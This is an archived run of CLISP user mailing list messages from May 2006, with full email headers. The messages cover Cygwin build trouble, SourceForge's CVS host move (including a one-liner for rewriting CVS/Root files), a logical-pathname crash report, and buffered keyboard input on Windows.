h=received:message-id:date:from:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=OO/qUxmOjT5Bvn1lNkSr1h1n2r8APxZPfzFbfQ4Ka2qRys7+YzpEO3JpYOE2SaCFcDrSR3LegzI6YVV9gw+Tn/NATySYKfxU8LZKVQ6JdfvF3RSNSnefSmDUM09HPjDNW2krEZty1H08Gevh2z+3xKvQ+BRhuSv7jY0eUpWoFbM= Received: by 10.64.220.11 with SMTP id s11mr1558538qbg; Fri, 12 May 2006 06:30:43 -0700 (PDT) Received: by 10.65.73.3 with HTTP; Fri, 12 May 2006 06:30:43 -0700 (PDT) Message-ID: <243236a40605120630m3a515cc7t6223f91845e6a62@mail.gmail.com> From: "Dimitrios Kapanikis" To: clisp-list@lists.sourceforge.net, "Dimitrios Kapanikis" In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] Re: compiling clisp2.35 with cygwin fails Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 12 06:49:01 2006 X-Original-Date: Fri, 12 May 2006 15:30:43 +0200 On 5/11/06, Sam Steingold wrote: > clisp 2.38 (the latest version) is distributed with cygwin. > just install it using cygwin setup.exe well, for my purpose i need to change some lines in the sourcecode so I cannot just use the package from cygwin. > try > ./configure --build i tried that with ./configure --build=3Di386-unknown-cygwin* but same behaviour and errors as before. Is the parameter maybe wrong? Running Windows XP and Cygwin on intel or amd processor (doesnt so much matter i guess) Dimitrios Kapanikis From Joerg-Cyril.Hoehle@t-systems.com Fri May 12 07:19:14 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FeYU5-0002ns-UT for clisp-list@lists.sourceforge.net; Fri, 12 May 2006 07:19:13 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FeYU5-0002o8-Dc for clisp-list@lists.sourceforge.net; Fri, 12 May 2006 07:19:13 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 12 May 2006 16:19:06 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 12 May 2006 16:19:06 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] mailing list settings: postings by non-members are allowed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 12 22:27:20 2006 X-Original-Date: Fri, 12 May 2006 16:18:59 +0200 Hi, settings have changed from times to times. I'm quite pleased that the current mailing list setting is that anybody is allowed to post to clisp-list without requiring registration & membership first. This has not always been the case in the past, and I don't know for how long the current settings have been in effect. The current setting makes it easy for casual users to ask questions and report problems. Sourceforge's spam filter seems good enough for now at eliminating almost all unwanted posts. A small drawback is that I recommend (and AFAIK general netiquette considers it polite to do so) that replies be CC:'d to the original poster, for s/he may not be a member of the mailing list. Of course, you don't need to do so when replying to regular contributors (i.e. known members) of this mailing list ;) I'm very much in favour of open mailing lists, as we had >10 years ago before spam abuse caused a change in most policies. In effect, spam is a successful DoS on worldwide e-mail service: open lists became member-only, causing a loss in communications among people. For instance, there's a bug I'd like to submit to the sbcl mailing list. But I need to register first and haven't yet done so. Regards, Jorg Hohle. From fw@deneb.enyo.de Sat May 13 04:07:31 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Fery7-0002hC-4q for clisp-list@lists.sourceforge.net; Sat, 13 May 2006 04:07:31 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Fery7-0006v2-4W for clisp-list@lists.sourceforge.net; Sat, 13 May 2006 04:07:31 -0700 Received: from mail.enyo.de ([212.9.189.167]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Fery4-0002st-Kw for clisp-list@lists.sourceforge.net; Sat, 13 May 2006 04:07:31 -0700 Received: from deneb.vpn.enyo.de ([212.9.189.177] helo=deneb.enyo.de) by mail.enyo.de with esmtp id 1FeruH-0001kV-6G; Sat, 13 May 2006 13:03:33 +0200 Received: from fw by deneb.enyo.de with local (Exim 4.62) (envelope-from ) id 1FeruF-0006ZC-R9; Sat, 13 May 2006 13:03:31 +0200 From: Florian Weimer To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] SourceForge.net: CVS service changes References: In-Reply-To: (Joerg-Cyril Hoehle's message of "Fri, 12 May 2006 10:03:26 +0200") Message-ID: <87iroap4os.fsf@mid.deneb.enyo.de> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat May 13 04:20:09 2006 X-Original-Date: Sat, 13 May 2006 13:03:31 +0200 * Joerg-Cyril Hoehle: > Actually, I wonder how I'm going to do this without loosing the few > changes that I currently have in my local copy. Is it a bad idea to > merely change all **/CVS/Root files to point to the new host? It should be a safe change, provided that the repository is actually the same. From pjb@informatimago.com Sat May 13 19:42:19 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ff6Yl-0002sk-K9 for clisp-list@lists.sourceforge.net; Sat, 13 May 2006 19:42:19 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Ff6Yl-0002XJ-ND for clisp-list@lists.sourceforge.net; Sat, 13 May 2006 19:42:19 -0700 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ff6Yj-0004m4-Qo for clisp-list@lists.sourceforge.net; Sat, 13 May 2006 19:42:19 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 1DE31585D4; Sun, 14 May 2006 04:42:11 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 72B0D5833D; Sun, 14 May 2006 04:42:07 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 5467587A3; Sun, 14 May 2006 04:42:07 +0200 (CEST) From: Pascal Bourguignon To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Reply-To: Message-Id: <20060514024207.5467587A3@thalassa.informatimago.com> X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00, UPPERCASE_25_50 autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] bug with logical-pathnames on MacMini Intel Core Solo Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat May 13 20:04:34 2006 X-Original-Date: Sun, 14 May 2006 04:42:07 +0200 (CEST) The following happens both with clisp-2.38 tarball or latest CVS, on MacOSX 10.4.6 on a MacMini Intel Core Solo: [pjb@galene pjb]$ /usr/local/bin/clisp -ansi -q -norc [1]> (directory "/usr/local/share/lisp/packages/**/*.asd") (#P"/usr/local/share/lisp/packages/net/telent/trivial-sockets/trivial-sockets.asd" #P"/usr/local/share/lisp/packages/net/telent/trivial-sockets/trivial-socket-stream.asd" #P"/usr/local/share/lisp/packages/net/telent/thyme/thyme.asd" #P"/usr/local/share/lisp/packages/net/telent/telent/telentweb/telentweb.asd" #P"/usr/local/share/lisp/packages/net/telent/split-sequence/split-sequence.asd" ... #P"/usr/local/share/lisp/packages/com/b9/uffi/uffi-tests.asd") [2]> (let ((host "PACKAGES") (path #P"/usr/local/share/lisp/packages/")) (SETF (LOGICAL-PATHNAME-TRANSLATIONS HOST) (mapcar (lambda (tail) (list (merge-pathnames tail (make-pathname :host host :directory '(:absolute :wild-inferiors))) (merge-pathnames tail (make-pathname :directory (APPEND (PATHNAME-DIRECTORY PATH) '( :WILD-INFERIORS )))))) '(#P"*" #P"*.*" #P"*.*.*")))) ((#P"/**/*" #P"/usr/local/share/lisp/packages/**/*") (#P"/**/*.*" #P"/usr/local/share/lisp/packages/**/*.*") (#P"/**/*.*.*" #P"/usr/local/share/lisp/packages/**/*.*.*")) [3]> (translate-logical-pathname #P"PACKAGES:**;*.ASD") Exiting on signal 4 [pjb@galene pjb]$ I also observed this: ;; Scanning ASDF packages... Exiting on signal 4 *** - Internal error: statement in file "debug.d", line 1149 has been reached!! Please send the authors of the program a description how you produced this error! The following restarts are available: ABORT :R1 ABORT ABORT :R2 ABORT ABORT :R3 ABORT ABORT :R4 ABORT Break 1 [5]> :bt Printed 0 frames Break 1 [5]> :r4 *** - handle_fault error2 ! address = 0x1008050 not in [0x19e67000,0x1a1c180c) ! SIGSEGV cannot be cured. Fault address = 0x1008050. Permanently allocated: 101760 bytes. Currently in use: 4488456 bytes. Free space: 849429 bytes. [pjb@galene pjb]$ Unfortunately, ./configure --with-debug doesn't result in a successfull compilation (_getSP undefined). LISP-IMPLEMENTATION-TYPE "CLISP" LISP-IMPLEMENTATION-VERSION "2.38 (2006-01-24) (built 3356409268) (memory 3356409954)" SOFTWARE-TYPE "gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -falign-functions=4 -DUNIX_BINARY_DISTRIB -DUNICODE -DNO_READLINE -DNO_GETTEXT -I. -L/usr/local/lib -x none libcharset.a -lncurses -liconv -L/usr/local/lib -lsigsegv -lc -L/usr/X11R6/lib -lX11 SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY libsigsegv 2.3 libiconv 1.9" SOFTWARE-VERSION "GNU C 4.0.1 (Apple Computer, Inc. build 5250)" MACHINE-INSTANCE "galene.local [10.0.2.1]" MACHINE-TYPE "I386" MACHINE-VERSION "I386" *FEATURES* (:RAWSOCK :CLX-ANSI-COMMON-LISP :CLX :REGEXP :SYSCALLS :I18N :LOOP :COMPILER :CLOS :MOP :CLISP :ANSI-CL :COMMON-LISP :LISP=CL :INTERPRETER :SOCKETS :GENERIC-STREAMS :LOGICAL-PATHNAMES :SCREEN :UNICODE :BASE-CHAR=CHARACTER :UNIX :MACOS) -- __Pascal Bourguignon__ http://www.informatimago.com/ "Specifications are for the weak and timid!" From sds@podval.org Tue May 16 08:40:38 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Fg1f4-0005MZ-2F for clisp-list@lists.sourceforge.net; Tue, 16 May 2006 08:40:38 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Fg1f4-0005i6-4L for clisp-list@lists.sourceforge.net; Tue, 16 May 2006 08:40:38 -0700 Received: from sccrmhc13.comcast.net ([204.127.200.83]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Fg1f1-0003e1-Du for clisp-list@lists.sourceforge.net; Tue, 16 May 2006 08:40:38 -0700 Received: from smtp.podval.org (k39.podval.org[24.60.134.201]) by comcast.net (sccrmhc13) with ESMTP id <2006051615402601300elvi6e>; Tue, 16 May 2006 15:40:26 +0000 Received: from quant8.janestcapital.quant (unknown [209.213.205.130]) by smtp.podval.org (Postfix) with ESMTP id 564DE1285ED; Tue, 16 May 2006 11:40:26 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Joerg-Cyril Hoehle's message of "Fri, 12 May 2006 10:03:26 +0200") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [24.60.134.201 listed in dnsbl.sorbs.net] Subject: [clisp-list] Re: SourceForge.net: CVS service changes Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 16 08:40:38 2006 X-Original-Date: Tue, 16 May 2006 11:40:16 -0400 > * Hoehle, Joerg-Cyril [2006-05-12 10:03:26 +0200]: > > As a consequence of the server name change, all users that checked out > a CVS tree anywhere on sourceforge must check out again or perform > some some magic to have their CVS tree point to the new location: > PROJECT_UNIX_NAME.cvs.sourceforge.net find . -regex .*CVS/Root -print0 |xargs -0 perl -p -i -e 's/\@cvs/\@clisp.cvs/' -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://openvotingconsortium.org http://jihadwatch.org http://ffii.org http://memri.org http://mideasttruth.com http://camera.org Stupidity, like virtue, is its own reward. From don-sourceforge-xx@isis.cs3-inc.com Tue May 16 12:29:08 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Fg5EC-0000H7-4S for clisp-list@lists.sourceforge.net; Tue, 16 May 2006 12:29:08 -0700 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Fg5EA-0006sm-2w for clisp-list@lists.sourceforge.net; Tue, 16 May 2006 12:29:08 -0700 Received: by isis.cs3-inc.com (Postfix, from userid 501) id 1A1B91A818F; Tue, 16 May 2006 12:29:12 -0700 (PDT) From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) Message-ID: <17514.10248.57232.263724@isis.cs3-inc.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: clisp-list@lists.sourceforge.net In-Reply-To: <20060513031948.A8B47C46BE@sc8-sf-spam1.sourceforge.net> References: <20060513031948.A8B47C46BE@sc8-sf-spam1.sourceforge.net> X-Mailer: VM 7.07 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] SourceForge.net: CVS service changes Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 16 12:30:46 2006 X-Original-Date: Tue, 16 May 2006 12:29:12 -0700 I'm glad to see it's back in service. I've now uploaded some changes to clocc that have been waiting for that. Now maybe I can try to build a current CVS clisp. It would be useful to mark states that are thought to be relatively stable and buildable. > o nightly tarball is gone, must use rsync instead Looking at http://clisp.sourceforge.net/ I notice the tarball link is still there, though it doesn't work. Perhaps it could be replaced by a link describing how to get it from rsync. Will this allow us to get source as of some particular time (as described above)? The other links next to tarball, for cvs browsing and development news also don't work. The next line, help wanted, is currently two different links, one of which doesn't work. I'm not sure I understand the difference between "wanted" and the next "tasks" link. The wanted link seems a lot more useful though. Inside that are more links to such things as doc/multithread.txt, which also need to be fixed. From sds@podval.org Tue May 16 13:06:54 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Fg5ok-0005Ky-Ib for clisp-list@lists.sourceforge.net; Tue, 16 May 2006 13:06:54 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Fg5ok-0002pi-J5 for clisp-list@lists.sourceforge.net; Tue, 16 May 2006 13:06:54 -0700 Received: from sccrmhc11.comcast.net ([204.127.200.81]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Fg5oi-0006yZ-0W for clisp-list@lists.sourceforge.net; Tue, 16 May 2006 13:06:54 -0700 Received: from smtp.podval.org (k39.podval.org[24.60.134.201]) by comcast.net (sccrmhc11) with ESMTP id <2006051620064501100k4t5ee>; Tue, 16 May 2006 20:06:45 +0000 Received: from quant8.janestcapital.quant (unknown [209.213.205.130]) by smtp.podval.org (Postfix) with ESMTP id DC28812855C; Tue, 16 May 2006 16:06:49 -0400 (EDT) To: clisp-list@lists.sourceforge.net, don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <17514.10248.57232.263724@isis.cs3-inc.com> (Don Cohen's message of "Tue, 16 May 2006 12:29:12 -0700") References: <20060513031948.A8B47C46BE@sc8-sf-spam1.sourceforge.net> <17514.10248.57232.263724@isis.cs3-inc.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [24.60.134.201 listed in dnsbl.sorbs.net] Subject: [clisp-list] Re: SourceForge.net: CVS service changes Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 16 13:08:29 2006 X-Original-Date: Tue, 16 May 2006 16:06:44 -0400 > * Don Cohen [2006-05-16 12:29:12 -0700]: > > The other links next to tarball, for cvs browsing and development news > also don't work. > The next line, help wanted, is currently two different links, one of > which doesn't work. > I'm not sure I understand the difference between "wanted" and the > next "tasks" link. The wanted link seems a lot more useful though. > > Inside that are more links to such things as doc/multithread.txt, > which also need to be fixed. SF site is updated daily, so you will have to wait until tomorrow. GNU site (see the link on http://clisp.cons.org) is updated immediately and links there have been fixed. -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://truepeace.org http://palestinefacts.org http://camera.org http://jihadwatch.org http://ffii.org http://thereligionofpeace.com Failure is not an option. It comes bundled with your Microsoft product. From eleuteri@myrealbox.com Wed May 17 09:59:14 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FgPMg-0003rx-EC for clisp-list@lists.sourceforge.net; Wed, 17 May 2006 09:59:14 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FgPMg-0004Dx-ID for clisp-list@lists.sourceforge.net; Wed, 17 May 2006 09:59:14 -0700 Received: from smtp2.mundo-r.com ([212.51.32.187]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FgPMe-00005J-TO for clisp-list@lists.sourceforge.net; Wed, 17 May 2006 09:59:14 -0700 Received: from unknown (HELO enterprise) ([213.60.77.115]) by smtp2.mundo-r.com with SMTP; 17 May 2006 18:59:03 +0200 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AQAAAMzxakQ X-IronPort-AV: i="4.05,138,1146434400"; d="scan'208"; a="11412135:sNHT125579013" Message-ID: <000b01c679d3$338d33b0$0302a8c0@enterprise> From: "David Picon Alvarez" To: Organization: Comusis S.L. MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1807 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1807 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Weird behaviour on keyboard reading Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 17 10:00:02 2006 X-Original-Date: Wed, 17 May 2006 18:59:02 +0200 Hello, I am running clisp under windows. The following code (loop (if (setq a (read-char-no-hang *keyboard-input*)) (print a))) Behaves in a counterintuitive (to me) way. The expected result would be a loop that would print any key pressed. The actual result differs. Pressing shift, or control, or such, doesn't give rise to immediate result, but later pressing return prints both the return and the former shift, control, etc. Any clues what I am doing wrong? Or suggestions on a better way to do this? --david. From Devon@Jovi.Net Wed May 17 10:17:29 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FgPeK-0006Dw-TT for clisp-list@lists.sourceforge.net; Wed, 17 May 2006 10:17:28 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FgPeK-0004Ux-Se for clisp-list@lists.sourceforge.net; Wed, 17 May 2006 10:17:28 -0700 Received: from grant.org ([206.190.173.18]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FgPeH-0005Bw-Cf for clisp-list@lists.sourceforge.net; Wed, 17 May 2006 10:17:28 -0700 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id k4HHGt9f072339 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 17 May 2006 13:16:55 -0400 (EDT) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id k4HHGsDt072336; Wed, 17 May 2006 13:16:54 -0400 (EDT) (envelope-from Devon@Jovi.Net) Message-Id: <200605171716.k4HHGsDt072336@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: "David Picon Alvarez" CC: clisp-list@lists.sourceforge.net In-reply-to: <000b01c679d3$338d33b0$0302a8c0@enterprise> (eleuteri@myrealbox.com) Subject: Re: [clisp-list] Weird behaviour on keyboard reading References: <000b01c679d3$338d33b0$0302a8c0@enterprise> X-Spam-Status: No, score=-2.6 required=5.0 tests=AWL,BAYES_00, UNPARSEABLE_RELAY autolearn=ham version=3.1.0 X-Spam-Checker-Version: SpamAssassin 3.1.0 (2005-09-13) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-2.0.2 (grant.org [127.0.0.1]); Wed, 17 May 2006 13:17:07 -0400 (EDT) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 17 10:18:02 2006 X-Original-Date: Wed, 17 May 2006 13:16:54 -0400 (EDT) From: "David Picon Alvarez" Date: Wed, 17 May 2006 18:59:02 +0200 Hello, I am running clisp under windows. The following code (loop (if (setq a (read-char-no-hang *keyboard-input*)) (print a))) Behaves in a counterintuitive (to me) way. The expected result would be a loop that would print any key pressed. The actual result differs. Pressing shift, or control, or such, doesn't give rise to immediate result, but later pressing return prints both the return and the former shift, control, etc. Any clues what I am doing wrong? Or suggestions on a better way to do this? That's your operating system doing you a "favor" by optimizing your I/O for buffered throughput instead of interactivity. I know of no portable fix for this but ask your local MS-Windows wiz. Peace --Devon /~\ \ / Health Care X not warfare / \ Dubya won the digital vote Kerry won the popular vote From Devon@Jovi.Net Wed May 17 10:23:40 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FgPkK-0006sY-B6 for clisp-list@lists.sourceforge.net; Wed, 17 May 2006 10:23:40 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FgPkK-0004Z1-BH for clisp-list@lists.sourceforge.net; Wed, 17 May 2006 10:23:40 -0700 Received: from grant.org ([206.190.173.18]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FgPkH-0006tP-Ok for clisp-list@lists.sourceforge.net; Wed, 17 May 2006 10:23:40 -0700 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id k4HHNJre079310 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 17 May 2006 13:23:20 -0400 (EDT) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id k4HHNJMk079307; Wed, 17 May 2006 13:23:19 -0400 (EDT) (envelope-from Devon@Jovi.Net) Message-Id: <200605171723.k4HHNJMk079307@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: clisp-list@lists.sourceforge.net X-Spam-Status: No, score=-3.1 required=5.0 tests=AWL,BAYES_00, UNPARSEABLE_RELAY autolearn=ham version=3.1.0 X-Spam-Checker-Version: SpamAssassin 3.1.0 (2005-09-13) on grant.org 